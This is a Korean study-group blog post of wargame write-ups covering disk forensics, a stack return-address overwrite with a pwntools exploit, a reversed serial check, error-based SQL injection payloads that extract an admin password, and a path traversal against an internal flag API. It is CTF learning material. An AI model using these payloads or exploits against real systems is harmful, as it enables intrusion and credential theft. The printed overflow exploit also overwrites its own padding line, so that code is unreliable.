스터디 방식: 매주 워게임 문제 관련 개념 및 풀이 방법 공유
문제 1. XCZ Company Hacking Incident
보통 디스크 포렌식이라고 하면, E01 파일이나 vmdx, vhd(x) 등을 주는데 문제 설명에도 나와있듯이 디스크에서 선별 압수를 해서 단일 폴더별로 정리를 한 것 같다.
문제 설명에도 나와있듯이, ‘외부 유출’ 과 관련한 단서를 찾으면 될 것 같다.
LNK 란?
- Mac 시스템의 ID와 유사한 LNK 파일은 원본 이미지, 문서 폴더 또는 프로그램에 대한 연결 역할을 하는 Windows의 대안 또는 “링크”이다. 여기에는 바로 가기 대상의 유형, 위치 및 파일 이름, 대상 문서를 여는 응용 프로그램, 그리고 추가적인 바로 가기 키가 포함된다.
- Windows에서 파일, 폴더 또는 실행 프로그램을 선택하고 "바로 가기 만들기"를 선택하면 LNK 파일이 생성된다. 이때 파일 형식의 위치와 “시작” 디렉토리는 LNK 파일의 두 가지 기본 기능이다. LNK 파일의 파일 형식은 마스킹되어 있으며, 구부러진 화살표는 해당 파일이 바로 가기임을 나타낸다.
LNK 파일 형식
- LNK 파일 형식은 일반적으로 대상 파일과 동일한 아이콘을 가지지만, 다른 위치를 가리키고 있음을 알리기 위해 약간 구부러진 화살표가 추가된다. 바로 가기를 더블 클릭하면 사용자가 실제 파일을 더블 클릭한 것처럼 동작한다.
- 응용 프로그램 바로 가기가 포함된 LNK 파일에는 프로그램 실행 방식에 영향을 미치는 속성이 있을 수 있다. 이러한 속성을 변경하려면 바로 가기 파일을 마우스 오른쪽 버튼으로 클릭한 후 "속성"을 선택하고 대상 필드를 변경하면 된다. LNK 파일은 파일 확장자가 아니라 Windows 탐색기 확장이다. 이 문서는 Windows 탐색기에서만 파일을 대체하는 데 사용되며, 로컬 문서에 대한 바로 가기 역할을 한다. 이 파일도 문자 "L"로 시작한다.바로 가기는 특정 파일 및 디렉터리에 연결되지만, 대상이 다른 위치로 변경되면 작동하지 않을 수 있다. 이 경우 Windows 탐색기는 열릴 때 죽은 대상을 가리키는 바로 가기 폴더를 복구하기 시작한다.
최근 실행한 파일들을 볼 수 있는 것들인데, confidential.doc이라는 lnk 파일이 있는 것을 볼 수 있다. 기밀 문서를 의미하는 바로가기 파일인 것 같다.
그래서 보듯이 원본 파일이 아니기때문에 1KB 밖에 용량이 되지 않는다. 원본 파일이 아니라서 확인은 불가했고, 추가적으로 기밀문서로 보이는 이 파일을 어떠한 방식으로 유출했는지를 알아내기 위해 인터넷 history 파일이 있는지 찾아보려고 했으나 이에 대한 정보는 찾을 수 없었다.
따라서 이메일과 관련된 증거가 있을까 싶어서 찾아보던 중 다음과 같은 경로에서 Outlook express 백업 파일인 Outbox.dbx 파일을 찾을 수 있었다. 출제했던 WSCTF 문제의 경우, Windows 10 환경에서 Microsoft Outlook 메일을 내보내기를 했기 때문에 .ost 파일 형식으로 데이터 파일이 생성되었다. 하지만 이 문제의 경우 오래되었다 보니 .dbx 파일이었고, 이를 열기 위해서는 Windows 7에 포함되었던 Windows Live 메일을 통해 열어야 했다.
(프로그램: https://www.nucleustechnologies.com/dbx-viewer/)
outbox.dbx 파일을 열어 확인해보니 처음의 Recent 폴더에서 기밀문서라고 생각했던 Confidential.doc 파일을 주고받은 것을 확인할 수 있었다. 툴 기능을 활용해 outbox.dbx 파일을 eml 파일로 추출했고 해당 eml 파일을 Outlook으로 열었다.
파일을 열어보면, 위와 같은 내용들이 있는데 키 값은 별도로 보이지 않았다.
Confidential.doc의 텍스트를 Notepad에 추출하면 key 값을 얻을 수 있다. 아마 글씨를 안 보이게 흰색으로 써 놓은 것 같다. 따라서 해당 키 값을 인증하면 문제가 풀린다.
문제 2. Return Address Over write
실행 흐름 조작에 해당하는 반환 주소 조작 문제 풀이
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf); //buffer overflow 발생
return 0;
}
scanf(”%s”, buf)
- 입력 길이 제한X, 공백 문자(띄어쓰기, 탭, 개행 문자 등) 들어올 때까지 계속 입력 받는다.
실행
A를 4개 입력했을 때는 프로그램 종료
A를 64개 입력했을 때는 세그먼트 오류가 발생했다고 출력
해당 프로그램이 32bit인지 64bit인지 확인 + 보호기법 확인
pwndbg 분석
*스택 구조 return address | rbp | buf
스택의 30바이트 공간 할당 → 64bit이므로 공간 할당할 때마다 8바이트씩 할당 ⇒ 38바이트 덮어쓰고 실행하고자하는 코드 주소 작성을 통해 실행 흐름 조작한다.
info func 명령어를 통해 해당 프로그램의 존재하는 함수들 확인 가능
get_shell이라는 뭔가 shell과 관련되어 있는 함수가 보인다.
해당 함수 맨 마지막에 보면 execve@plt라는 함수 호출
추측하기로는 execve@plt를 호출하여 셸을 실행해주는 것으로 보인다.
→ get_shell 함수의 주소를 찾아 38바이트를 덮은 후 작성해주면 될 것 같다.
print 명령어를 통해 해당 함수의 주소 출력
0x4006aa <get_shell>
엔디언(Endian) 적용
메모리에서 데이터가 정렬되는 방식
리틀엔디언(Littel-Endian, LE)
- Most Significant Byte(MSB, 가장 왼쪽의 바이트)가 가장 높은 주소에 저장됨
빅 엔디언(Big-Endian, BE)
- MSB가 가장 낮은 주소에 저장됨
→ \xaa\x06\x40\x00\x00\x00\x00\x00
익스플로잇
from pwn import *
p = remote("host3.dreamhack.games", 19262)
payload = b"A"*0x38
payload = b"\xaa\x06\x40\x00\x00\x00\x00\x00"
p.recvuntil("Input: ")
p.sendline(payload)
p.interactive()
코드 작성 후 실행시켜 셀 획득하였다.
문제 3. Dreamhack basic_rev_3
파일 실행 화면
패킹되지 않은 파일 인 것을 확인
<x64 DBG 풀이>
사용자가 입력한 입력값과 serial 값을 비교하는 함수로 추측되는 부분
I(hex값)를 eax 레지스터로 옮김
a(hex값)를 ecx 레지스터로 옮김
ecx 레지스터 값을 xor 연산으로 지속적으로 함
이를 하나 하나 다시 계산하여 원래의 값을 찾는 과정이 필요
사용자가 입력한 시리얼 값을 아스키 값으로 변환하여 저장한 값의 주소를 rcx 레지스터에 옮김
rsp 레지스터에 있는 주소에 0이라는 숫자를 저장(초기화)
rsp에 저장되어있던 주소의 값을 rax로 옮긴 후 18과 비교
serial은 24자리라는 것을 추측할 수 있음
16진수 기준이기 때문에 (0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F,10,11,12,13,14,15,16,17)
특정 메모리의 주소를 rcx 레지스터로 주소를 옮김
또한 8자리의 값만이 저장된 주소를 옮김
메모리에 저장된 값을 하나씩 꺼냄
사용자가 입력한 값을 rdx 레지스터로 옮김
사용자가 입력한 값 중 첫째값을 ecx 레지스터로 옮김
0과 사용자가 입력한 첫째값을 xor 연산
0과 사용자가 입력한 첫째값을 xor 연산한 값을 메모리에 저장되어있던 숫자 값 1과 비교
비교값이 1씩 증가하는 것을 확인할 수 있음
만약 rax 레지스터 값이 비교값이 18에 달한다면
점프 후 함수를 종료
즉, 이 값들이 16진수 기준으로 0~17까지 커지는 숫자와 비교한 후 결과 값이 되어야 한다.
코드를 짠 후 확인해보니 이상한 플래그가 나와 다시 어셈블리 코드를 확인했다.
xor 연산 후 rsp 값(0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F,10,11,12,13,14,15,16,17)을 edx 레지스터로 옮긴 후 *2를 한 후 xor 연산 값과 더하여 메모리 안에 플래그 값과 비교한다.
A : 입력값
B : 메모리 값
I : rsp 값
이라고 가정하면
(A^i)+(i*2) = B 이고 A를 구하기 위해서는 다음과 같이 식을 변경할 수 있다.
A = (B-(i*2))^i
코드를 작성하면 다음과 같다.
memory = [0x49,0x60, 0x67,0x74,0x63,0x67, 0x42,0x66,0x80,0x78, 0x69,0x69,0x7B,0x99, 0x6D,0x88,0x68,0x94, 0x9F,0x8D,0x4D,0xA5, 0x9D,0x45]
result = ''
for i in range(0, 24):
result += chr((memory[i]-i*2)^i)
print(result)
Serial을 찾았다
<IDA 풀이>
사용자 입력을 받아 sub_140001000 함수에서 검증하고, 일치 여부를 확인하는 로직이다.
sub_140001000 함수의 로직을 해석하면, i가 0x17이 될 때까지 아래의 방정식을 만족해야한다.
byte_140003000[i] = i ^ a1[i] + 2*i
즉, a1[i] = (byte_140003000[i] - 2*i) ^ i 를 통해 사용자 입력값을 구할 수 있다.
이전에 작성하였던 코드와 비교해보면 사용자의 입력값을 구하는 연산 부분이 위 복호화 식과 같은 것을 확인할 수 있다.
memory = [0x49,0x60, 0x67,0x74,0x63,0x67, 0x42,0x66,0x80,0x78, 0x69,0x69,0x7B,0x99, 0x6D,0x88,0x68,0x94, 0x9F,0x8D,0x4D,0xA5, 0x9D,0x45]
result = ''
for i in range(0, 24):
result += chr((memory[i]-i*2)^i)
print(result)
문제 4. error based sql injection
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
try:
cur = mysql.connection.cursor()
#입력한 것이 {uid}부분으로 들어가 출력됨을 알 수 있다.
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;
서버 첫 화면
uid 부분에 입력하면 {}칸에 입력된다.
error based sql injection을 사용해서 푸는 문제이므로 extractvalue()함수를 이용해 문제를 풀 수 있음
-> XML 데이터 값을 추출하는 함수. 잘못된 XML 경로를 전달받으면 DB가 오류 메시지를 반환함. 이때 오류 메시지 안에 원하는 정보를 얻을 수 있음
extractvalue(XML 형식 값, XPATH 조건식)
extractvalue(1, concat(0x3a, version()));인 형식으로 공격할 수 있다.
1은 별 의미 없는 값, 단순히 쿼리가 실행되기 위한 값으로 쓰인다.
concat(0x3a, version()) => :version()
':'는 경로를 만들기 위한 값
version()은 DB서버의 버전 정보 반환
concat() : 문자열을 합치는 함수 여러값을 합쳐서 XML 경로로 넘기려고 함
=> 잘못된 XML 경로를 생성해서 오류 발생 유도
따라서 ' union SELECT extractvalue(1,concat(0x3a,version()));-- 인 값을 넣을 수 있다.
union을 통해 이 뒤의 값들도 반환받을 수 있도록 한다 (의도적으로 오류를 발생시키기 위해)
=> 이것을 통해 오류 기반 SQL Injection이 성공했음. 주입한 쿼리가 실행되었고 DB의 버전 정보를 추출할 수 있다.
' union SELECT extractvalue(1,concat(0x3a,(select upw from user where uid = 'admin'))); -- 형식으로 공격할 수 있다
이러한 결과가 나왔다. 아직 flag가 끝까지 나오지 않았다.
' union SELECT extractvalue(1,concat(0x3a,(select substr(upw,20,50) from user where uid = 'admin'))); --
flag 길이가 제한되었으므로 substr을 통해 데이터를 잘라서 부분 추출할 수 있다.
대강 upw의 20번째 문자부터 50개문자를 추출한다.
문제 4. Pathtraversal
사용자의 정보를 조회하는 API 서버에서 pathtraversal 취약점을 이용해 /api/flag 플래그를 획득하라고 함
pathtraversal 취약점
- 디렉터리 조작으로 파일 다운로드 취약점과 유사한 점이 많음
- 사용자로부터 경로 형태의 입력값을 받아 서버의 파일에 접근할 수 있는 공격
- 경로 조작을 통해 서버 내에 존재하는 파일의 내용을 확인할 수 있게 됨
⇒ 웹 상에서 요청 페이지 및 파일 다운로드 경로를 파라미터로 받아 처리할 때, 파일의 경로를 조작하여 주어진 권한 외 파일에 접근할 수 있는 것
<주어진 서버>
- userid가 guest인 사용자를 확인
<문제파일>
#!/usr/bin/python3
from flask import Flask, request, render_template, abort
from functools import wraps
import requests
import os, json
users = {
'0': {
'userid': 'guest',
'level': 1,
'password': 'guest'
},
'1': {
'userid': 'admin',
'level': 9999,
'password': 'admin'
}
}
def internal_api(func):
@wraps(func)
def decorated_view(*args, **kwargs):
if request.remote_addr == '127.0.0.1':
return func(*args, **kwargs)
else:
abort(401)
return decorated_view
app = Flask(__name__)
app.secret_key = os.urandom(32)
API_HOST = '<http://127.0.0.1:8000>'
try:
FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
if request.method == 'GET':
return render_template('get_info.html')
elif request.method == 'POST':
userid = request.form.get('userid', '')
info = requests.get(f'{API_HOST}/api/user/{userid}').text
return render_template('get_info.html', info=info)
@app.route('/api')
@internal_api
def api():
return '/user/<uid>, /flag'
@app.route('/api/user/<uid>')
@internal_api
def get_flag(uid):
try:
info = users[uid]
except:
info = {}
return json.dumps(info)
@app.route('/api/flag')
@internal_api
def flag():
return FLAG
application = app # app.run(host='0.0.0.0', port=8000)
# Dockerfile
# ENTRYPOINT ["uwsgi", "--socket", "0.0.0.0:8000", "--protocol=http", "--threads", "4", "--wsgi-file", "app.py"]
- get_info 함수 부분에서, post 요청으로 입력된 userid 파라미터 값은 /api/user/{userid}에 저장됨
- get_flag함수에서는, /api/user/<uid>페이지를 요청하면 저장된 uid가 실제 존재하는 user인지 확인하고 json으로 값을 반환
- FLAG함수에서는 /api/flag페이지를 요청하면 flag를 반환함
⇒ userid 변수를 조작하여 /api/flag 경로로 우회하여 접근하도록 경로 조작 공격
<공격 시나리오>
- 기존 요청 방식
- userid=123라면, 사용자가 /api/user/{userid} 경로로 요청하여 /api/user/123가 됨
- 공격 시도
- 공격자가 userid를 ../flag로 설정하여 서버가 경로를 요청할 때 /api/user/../flag를 요청하도록 함
- 상위 디렉토리로 올라가 결국 api/flag 경로를 요청하는 것과 동일함
⇒ 경로를 조작하여 접근할 수 없었던 api/flag에 접근할 수 있도록 공격함
brup suite로 브라우저 접근
../flag 입력하고 View를 클릭하면 undefined로 되어있는 것을 알 수 있음
undefined를 ../flag로 바꾸고 forward를 통해 값을 넘김
FLAG 값 발견
'4-1. 2024-2 심화 스터디 > 워게임 도장 깨기' 카테고리의 다른 글
[4주차] 241028 워게임 도장 깨기 (1) | 2024.10.31 |
---|---|
[3주차] 241001 워게임 도장 깨기 (10) | 2024.10.01 |
[2주차] 240926 워게임 도장 깨기 (3) | 2024.09.26 |